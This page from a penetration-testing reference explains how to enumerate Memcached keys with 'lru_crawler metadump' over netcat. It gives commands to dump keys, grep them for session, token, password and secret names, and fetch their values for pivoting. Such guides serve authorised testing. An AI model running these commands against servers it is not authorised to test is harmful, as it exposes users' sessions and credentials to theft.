# Memcached Key Dump with lru_crawler

- **URL:** https://hackindex.io/services/memcached/enumeration/memcached-key-metadata-dump-with-lru-crawler-metadump
- **Path:** Memcached > Enumeration
- **Up:** [Enumeration](https://hackindex.io/services/memcached/enumeration.md)
- **Published:** 2026-02-25
- **Updated:** 2026-02-25

When it’s available, `lru_crawler metadump` is the cleanest way to enumerate keys at scale. It dumps key metadata asynchronously and avoids the hard limits and heavier impact of `stats cachedump`.

## Check if metadump is enabled

```bash
printf "lru_crawler metadump all\r\nquit\r\n" | nc -nv -w 3 $TARGET_IP ${PORT:-11211}
# key=session:9f3c... exp=1700000000 la=1699999900 cas=12 fetch=no cls=3 size=248
# key=jwt:blacklist:... exp=0 la=1699999800 cas=5 fetch=no cls=2 size=96
```

Interpretation that matters:

- If you get `ERROR` or a client error, metadump may be disabled (`-X`) or not available on this build.
- If it streams output and doesn’t terminate cleanly, that’s normal. Use `timeout` to cap output.

## Dump keys reliably with timeout

```bash
timeout 8s bash -c 'printf "lru_crawler metadump all\r\n" | nc -nv $TARGET_IP ${PORT:-11211}' | tee metadump.txt
```

Extract just the key names:

```bash
awk -F'key=' '/^key=/{print $2}' metadump.txt | awk '{print $1}' | sed 's/\\r$//' | sort -u > keys.txt
```

## Triage keys that usually pay off

Once you have `keys.txt`, grep for patterns that are commonly sensitive in real environments:

```bash
grep -Ei 'session|sess|token|jwt|auth|apikey|api_key|secret|password|passwd|oauth|sso|cookie|admin' keys.txt | head
```

What to do with hits:

- Session-like keys: pull values and look for user identifiers, roles, or serialized auth state.
- Token/secret keys: treat as immediate credential material and pivot into the matching service.

## Pull values for specific keys

Memcached text protocol can fetch multiple keys in one request.

```bash
# single key
printf "get $(head -n 1 keys.txt)\r\nquit\r\n" | nc -nv -w 3 $TARGET_IP ${PORT:-11211}
```

Batch a handful:

```bash
KEYS="$(head -n 20 keys.txt | tr '\n' ' ')"
printf "get $KEYS\r\nquit\r\n" | nc -nv -w 3 $TARGET_IP ${PORT:-11211}
```

Interpretation:

- Values may be binary or serialized. If it looks like JSON, JWT, PHP serialize, or pickle-like blobs, save it and handle decoding offline.
- Keys expire and rotate. If you see misses, re-run metadump and target fresher keys first.

## If metadump is blocked

Some deployments disable dumping commands (`-X` disables both `stats cachedump` and `lru_crawler metadump`). If this is blocked, move to app-informed key guessing or libmemcached tooling with known keys.

## References

- [ReleaseNotes 1.4.31](https://github.com/memcached/memcached/wiki/releasenotes1431) - introduces lru_crawler metadump all and notes it avoids cachedump limits.
- [Modern LRU](https://memcached.org/blog/modern-lru/) - describes lru_crawler metadump output and behavior.
- [memcached -X disables cachedump and metadump.](https://manpages.debian.org/unstable/memcached/memcached.1.en.html)